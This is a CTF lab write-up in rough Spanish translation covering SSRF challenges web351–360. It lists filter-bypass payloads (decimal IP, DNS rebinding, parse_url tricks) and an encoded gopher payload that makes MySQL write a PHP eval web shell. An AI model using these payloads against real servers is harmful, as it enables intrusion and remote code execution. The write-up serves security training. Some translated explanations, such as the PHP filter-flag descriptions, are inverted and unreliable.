Directorio de artículos
Conozca a la SSRF
Hablando de la vulnerabilidad SSRF
Se falsifica la solicitud del servidor SSRF (Server-Side Request Forgery) SSRF es una vulnerabilidad de seguridad construida por un atacante para formar una solicitud iniciada por el servidor. Por lo general, los ataques SSRF se dirigen a sistemas internos que son inaccesibles desde el mundo exterior.
web351
Puede visitar la página flag.php y, después de visitarla, solicita a los usuarios no locales que prohíban el acceso, así que use ssrf para el acceso local.
url=http://localhost/flag.php
web352
Sigue siendo flag.php, pero se filtran 127.0.0.1 y localhost. convertir ip a numero
Dirección IP en línea a número Int, número Int a dirección IP
url=http://2130706433/flag.php
web353
/localhost|127\.0\.|\。/i
No afecta a la carga anterior
url=http://2130706433/flag.php
web354
/localhost|1|0|。/
Los 1 y los 0 se filtran específicamente.
Encuentre un registro A que sea 127.0.0.1 (http://sudo.cc/), y luego cambie el nombre de dominio del sitio web a la URL en la carga útil
url=http://sudo.cc/flag.php
web355
Esto requiere strlen ($ host) <= 5
Cuando se puede volver a escribir Baidu 127.0.0.1, encontré la diferencia entre esta IP local, 127.0.0.1 y 0.0.0.0
Dado que la dirección de todos ceros representa cualquier host, quiero probar si 0 puede representar 0.0.0.0
Luego intente visitar http://0/ localmente, saltó a https://0.0.0.0/ para mí
De esta manera, debería ser posible, así que intente construir la carga útil, el éxito
url=http://0/flag.php
web356
Esta vez (strlen($host)<=3), luego use la carga útil anterior
url=http://0/flag.php
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
En el juicio si:
- FILTER_FLAG_IPV4: requiere que el valor sea una IP IPv4 válida
- FILTER_FLAG_IPV6: requiere que el valor sea una IP IPv6 válida
- FILTER_FLAG_NO_PRIV_RANGE: requiere que el valor sea la IP privada especificada por el RFC (por ejemplo, 192.168.0.1)
- FILTER_FLAG_NO_RES_RANGE: requiere un valor que no esté en el rango de IP reservado. Esta bandera acepta valores IPV4 e IPV6.
Vulnerabilidad de reenlace de DNS: hablando de la vulnerabilidad de reenlace de DNS
Vaya a http://ceye.io/ para registrar una cuenta. Después de iniciar sesión, verá que se ha asignado un nombre de dominio
Agregue un DNS Rebinding como cualquier ip, y agregue otro como 127.0.0.1, de lo contrario, la carga útil mostrará 127.0.0.1 ip directamente.
Luego POST: (recuerde agregar una r. delante del nombre de dominio asignado)
url=http://r.xxxxxx.ceye.io/flag.php
Luego POST unas cuantas veces más .
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
La prueba aquí es el problema de análisis de parse_url, consulte el artículo: resumen de parse_url
http://ctf.@0/flag.php?show
web359,web360
打无密码的mysql
Aquí usamos la herramienta gopherus ( https://github.com/tarunkant/Gopherus ) , que se usó en la auditoría de código anterior.
escribir una frase en
Luego encuentra el punto de transferencia.
Hay un punto aquí en el que necesito codificar en URL la parte posterior de gopher://127.0.0.1:3306/_, así que simplemente lo reemplacé con el Bloc de notas (reemplace % con %25)
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2520%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
luego presiona regresar
Web360 accede a redis y cambia el mysql detrás de la herramienta a la capa redis.
Recuerde codificarlo en URL nuevamente.